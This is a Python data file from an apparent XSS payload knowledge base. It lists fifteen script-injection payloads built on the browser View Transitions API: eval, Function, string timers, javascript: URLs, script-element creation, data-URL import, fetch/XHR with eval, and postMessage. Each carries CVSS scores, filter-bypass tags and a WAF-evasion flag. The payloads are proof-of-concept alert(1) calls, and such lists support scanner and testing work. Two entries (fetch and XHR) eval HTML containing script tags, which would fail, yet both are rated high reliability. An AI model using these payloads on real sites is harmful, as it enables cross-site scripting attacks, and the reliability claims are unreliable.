#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Created
Telegram: https://t.me/EasyProTech

View Transitions API XSS Payloads - Part 1
Basic callback injection techniques: eval, DOM manipulation, timers, location, and basic element creation.
"""

from ..models import PayloadEntry


VIEW_TRANSITIONS_API_PAYLOADS_PART1 = {
    # ============================================================
    # VIEW TRANSITIONS API CALLBACK INJECTION
    # ============================================================
    "view-transitions-callback-basic": PayloadEntry(
        payload="document.startViewTransition(()=>alert(1))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions API callback execution",
        tags=["view-transitions", "api", "callback", "2024"],
        bypasses=["callback_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-dom": PayloadEntry(
        payload="document.startViewTransition(()=>document.body.innerHTML='<img src=x onerror=alert(1)>')",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="View Transitions callback with DOM manipulation",
        tags=["view-transitions", "dom", "innerHTML", "2024"],
        bypasses=["dom_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-eval": PayloadEntry(
        payload="document.startViewTransition(()=>eval('alert(1)'))",
        contexts=["javascript"],
        severity="critical",
        cvss_score=9.0,
        description="View Transitions callback with eval",
        tags=["view-transitions", "eval", "2024"],
        bypasses=["eval_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-function": PayloadEntry(
        payload="document.startViewTransition(alert)",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions with function reference",
        tags=["view-transitions", "function", "2024"],
        bypasses=["function_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-arrow": PayloadEntry(
        payload="document.startViewTransition(_=>alert(1))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions with arrow function",
        tags=["view-transitions", "arrow", "2024"],
        bypasses=["arrow_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-constructor": PayloadEntry(
        payload="document.startViewTransition(Function('alert(1)'))",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="View Transitions with Function constructor",
        tags=["view-transitions", "constructor", "2024"],
        bypasses=["constructor_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-setTimeout": PayloadEntry(
        payload="document.startViewTransition(()=>setTimeout('alert(1)',0))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with setTimeout string",
        tags=["view-transitions", "setTimeout", "2024"],
        bypasses=["timer_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-setInterval": PayloadEntry(
        payload="document.startViewTransition(()=>setInterval('alert(1)',9999))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with setInterval string",
        tags=["view-transitions", "setInterval", "2024"],
        bypasses=["timer_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-location": PayloadEntry(
        payload="document.startViewTransition(()=>location='javascript:alert(1)')",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="View Transitions callback with location assignment",
        tags=["view-transitions", "location", "javascript-protocol", "2024"],
        bypasses=["location_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-open": PayloadEntry(
        payload="document.startViewTransition(()=>open('javascript:alert(1)'))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with window.open",
        tags=["view-transitions", "open", "2024"],
        bypasses=["open_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-createElement": PayloadEntry(
        payload="document.startViewTransition(()=>document.body.appendChild(document.createElement('script')).text='alert(1)')",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="View Transitions callback with script creation",
        tags=["view-transitions", "createElement", "script", "2024"],
        bypasses=["script_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-import": PayloadEntry(
        payload="document.startViewTransition(()=>import('data:text/javascript,alert(1)'))",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="View Transitions callback with dynamic import",
        tags=["view-transitions", "import", "data-url", "2024"],
        bypasses=["import_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-fetch": PayloadEntry(
        payload="document.startViewTransition(()=>fetch('data:text/html,<script>alert(1)</script>').then(r=>r.text()).then(eval))",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="View Transitions callback with fetch and eval",
        tags=["view-transitions", "fetch", "eval", "2024"],
        bypasses=["fetch_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-xhr": PayloadEntry(
        payload="document.startViewTransition(()=>{x=new XMLHttpRequest();x.open('GET','data:text/html,<script>alert(1)</script>');x.onload=()=>eval(x.responseText);x.send()})",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.5,
        description="View Transitions callback with XHR and eval",
        tags=["view-transitions", "xhr", "eval", "2024"],
        bypasses=["xhr_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="high",
    ),
    "view-transitions-callback-postMessage": PayloadEntry(
        payload="document.startViewTransition(()=>postMessage('<script>alert(1)</script>','*'))",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="View Transitions callback with postMessage",
        tags=["view-transitions", "postMessage", "2024"],
        bypasses=["message_filters"],
        waf_evasion=True,
        browser_support=["chrome", "edge"],
        reliability="medium",
    ),
}
